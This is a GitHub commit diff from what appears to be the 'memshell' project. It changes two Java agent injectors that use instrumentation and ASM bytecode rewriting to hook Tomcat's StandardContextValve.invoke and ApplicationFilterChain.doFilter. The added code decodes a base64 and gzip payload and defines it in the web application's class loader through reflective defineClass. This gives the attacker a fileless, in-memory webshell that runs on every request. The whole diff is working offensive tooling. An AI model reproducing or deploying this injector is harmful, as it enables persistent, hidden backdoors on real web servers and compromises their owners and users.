Skip to content

Commit cf122d8

Browse files
committed
fix
1 parent bcc6502 commit cf122d8

File tree

2 files changed

+143
-36
lines changed

2 files changed

+143
-36
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java

Lines changed: 72 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,12 @@
22

33
import org.objectweb.asm.*;
44

5+
import java.io.ByteArrayInputStream;
6+
import java.io.ByteArrayOutputStream;
57
import java.lang.instrument.ClassFileTransformer;
68
import java.lang.instrument.Instrumentation;
79
import java.security.ProtectionDomain;
10+
import java.util.zip.GZIPInputStream;
811

912
/**
1013
* @author ReaJason
@@ -18,6 +21,10 @@ public static String getClassName() {
1821
return "{{advisorName}}";
1922
}
2023

24+
public static String getBase64String() {
25+
return "{{base64String}}";
26+
}
27+
2128
public static void premain(String args, Instrumentation inst) throws Exception {
2229
launch(inst);
2330
}
@@ -33,16 +40,17 @@ private static void launch(Instrumentation inst) throws Exception {
3340
String name = allLoadedClass.getName();
3441
if (TARGET_CLASS.replace("/", ".").equals(name)) {
3542
inst.retransformClasses(allLoadedClass);
43+
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
3644
}
3745
}
38-
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
3946
}
4047

4148
@Override
4249
@SuppressWarnings("all")
4350
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
4451
ProtectionDomain protectionDomain, byte[] bytes) {
4552
if (TARGET_CLASS.equals(className)) {
53+
defineTargetClass(loader);
4654
try {
4755
ClassReader cr = new ClassReader(bytes);
4856
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -102,23 +110,10 @@ public void visitCode() {
102110
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
103111

104112
mv.visitLabel(tryStart);
105-
mv.visitLdcInsn(className);
106-
mv.visitInsn(Opcodes.ICONST_1);
107-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
108-
"java/lang/ClassLoader",
109-
"getSystemClassLoader",
110-
"()Ljava/lang/ClassLoader;",
111-
false);
112-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
113-
"java/lang/Class",
114-
"forName",
115-
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
116-
false);
117-
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
118-
"java/lang/Class",
119-
"newInstance",
120-
"()Ljava/lang/Object;",
121-
false);
113+
String internalClassName = className.replace('.', '/');
114+
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
115+
mv.visitInsn(Opcodes.DUP);
116+
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
122117
mv.visitInsn(Opcodes.SWAP);
123118
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
124119
"java/lang/Object",
@@ -167,4 +162,63 @@ private int getArgIndex(final int arg) {
167162
return index;
168163
}
169164
}
165+
166+
167+
@SuppressWarnings("all")
168+
public static byte[] decodeBase64(String base64Str) {
169+
Class<?> decoderClass;
170+
try {
171+
decoderClass = Class.forName("java.util.Base64");
172+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
173+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
174+
} catch (Exception ignored) {
175+
try {
176+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
177+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
178+
} catch (Exception e) {
179+
throw new RuntimeException(e);
180+
}
181+
}
182+
}
183+
184+
@SuppressWarnings("all")
185+
public static byte[] gzipDecompress(byte[] compressedData) {
186+
ByteArrayOutputStream out = new ByteArrayOutputStream();
187+
GZIPInputStream gzipInputStream = null;
188+
try {
189+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
190+
byte[] buffer = new byte[4096];
191+
int n;
192+
while ((n = gzipInputStream.read(buffer)) > 0) {
193+
out.write(buffer, 0, n);
194+
}
195+
return out.toByteArray();
196+
} catch (Exception e) {
197+
throw new RuntimeException(e);
198+
} finally {
199+
try {
200+
if (gzipInputStream != null) {
201+
gzipInputStream.close();
202+
}
203+
out.close();
204+
} catch (Exception ignored) {
205+
}
206+
}
207+
}
208+
209+
@SuppressWarnings("all")
210+
public void defineTargetClass(ClassLoader loader) {
211+
try {
212+
loader.loadClass(getClassName());
213+
return;
214+
} catch (ClassNotFoundException ignored) {
215+
}
216+
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
217+
try {
218+
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
219+
defineClass.setAccessible(true);
220+
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
221+
} catch (Exception ignored) {
222+
}
223+
}
170224
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java

Lines changed: 71 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,12 @@
22

33
import org.objectweb.asm.*;
44

5+
import java.io.ByteArrayInputStream;
6+
import java.io.ByteArrayOutputStream;
57
import java.lang.instrument.ClassFileTransformer;
68
import java.lang.instrument.Instrumentation;
79
import java.security.ProtectionDomain;
10+
import java.util.zip.GZIPInputStream;
811

912
/**
1013
* @author ReaJason
@@ -18,6 +21,10 @@ public static String getClassName() {
1821
return "{{advisorName}}";
1922
}
2023

24+
public static String getBase64String() {
25+
return "{{base64String}}";
26+
}
27+
2128
public static void premain(String args, Instrumentation inst) throws Exception {
2229
launch(inst);
2330
}
@@ -33,16 +40,17 @@ private static void launch(Instrumentation inst) throws Exception {
3340
String name = allLoadedClass.getName();
3441
if (TARGET_CLASS.replace("/", ".").equals(name)) {
3542
inst.retransformClasses(allLoadedClass);
43+
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
3644
}
3745
}
38-
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
3946
}
4047

4148
@Override
4249
@SuppressWarnings("all")
4350
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
4451
ProtectionDomain protectionDomain, byte[] bytes) {
4552
if (TARGET_CLASS.equals(className)) {
53+
defineTargetClass(loader);
4654
try {
4755
ClassReader cr = new ClassReader(bytes);
4856
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -102,23 +110,10 @@ public void visitCode() {
102110
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
103111

104112
mv.visitLabel(tryStart);
105-
mv.visitLdcInsn(className);
106-
mv.visitInsn(Opcodes.ICONST_1);
107-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
108-
"java/lang/ClassLoader",
109-
"getSystemClassLoader",
110-
"()Ljava/lang/ClassLoader;",
111-
false);
112-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
113-
"java/lang/Class",
114-
"forName",
115-
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
116-
false);
117-
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
118-
"java/lang/Class",
119-
"newInstance",
120-
"()Ljava/lang/Object;",
121-
false);
113+
String internalClassName = className.replace('.', '/');
114+
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
115+
mv.visitInsn(Opcodes.DUP);
116+
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
122117
mv.visitInsn(Opcodes.SWAP);
123118
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
124119
"java/lang/Object",
@@ -167,4 +162,62 @@ private int getArgIndex(final int arg) {
167162
return index;
168163
}
169164
}
165+
166+
@SuppressWarnings("all")
167+
public static byte[] decodeBase64(String base64Str) {
168+
Class<?> decoderClass;
169+
try {
170+
decoderClass = Class.forName("java.util.Base64");
171+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
172+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
173+
} catch (Exception ignored) {
174+
try {
175+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
176+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
177+
} catch (Exception e) {
178+
throw new RuntimeException(e);
179+
}
180+
}
181+
}
182+
183+
@SuppressWarnings("all")
184+
public static byte[] gzipDecompress(byte[] compressedData) {
185+
ByteArrayOutputStream out = new ByteArrayOutputStream();
186+
GZIPInputStream gzipInputStream = null;
187+
try {
188+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
189+
byte[] buffer = new byte[4096];
190+
int n;
191+
while ((n = gzipInputStream.read(buffer)) > 0) {
192+
out.write(buffer, 0, n);
193+
}
194+
return out.toByteArray();
195+
} catch (Exception e) {
196+
throw new RuntimeException(e);
197+
} finally {
198+
try {
199+
if (gzipInputStream != null) {
200+
gzipInputStream.close();
201+
}
202+
out.close();
203+
} catch (Exception ignored) {
204+
}
205+
}
206+
}
207+
208+
@SuppressWarnings("all")
209+
public void defineTargetClass(ClassLoader loader) {
210+
try {
211+
loader.loadClass(getClassName());
212+
return;
213+
} catch (ClassNotFoundException ignored) {
214+
}
215+
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
216+
try {
217+
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
218+
defineClass.setAccessible(true);
219+
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
220+
} catch (Exception ignored) {
221+
}
222+
}
170223
}

0 commit comments

Comments
 (0)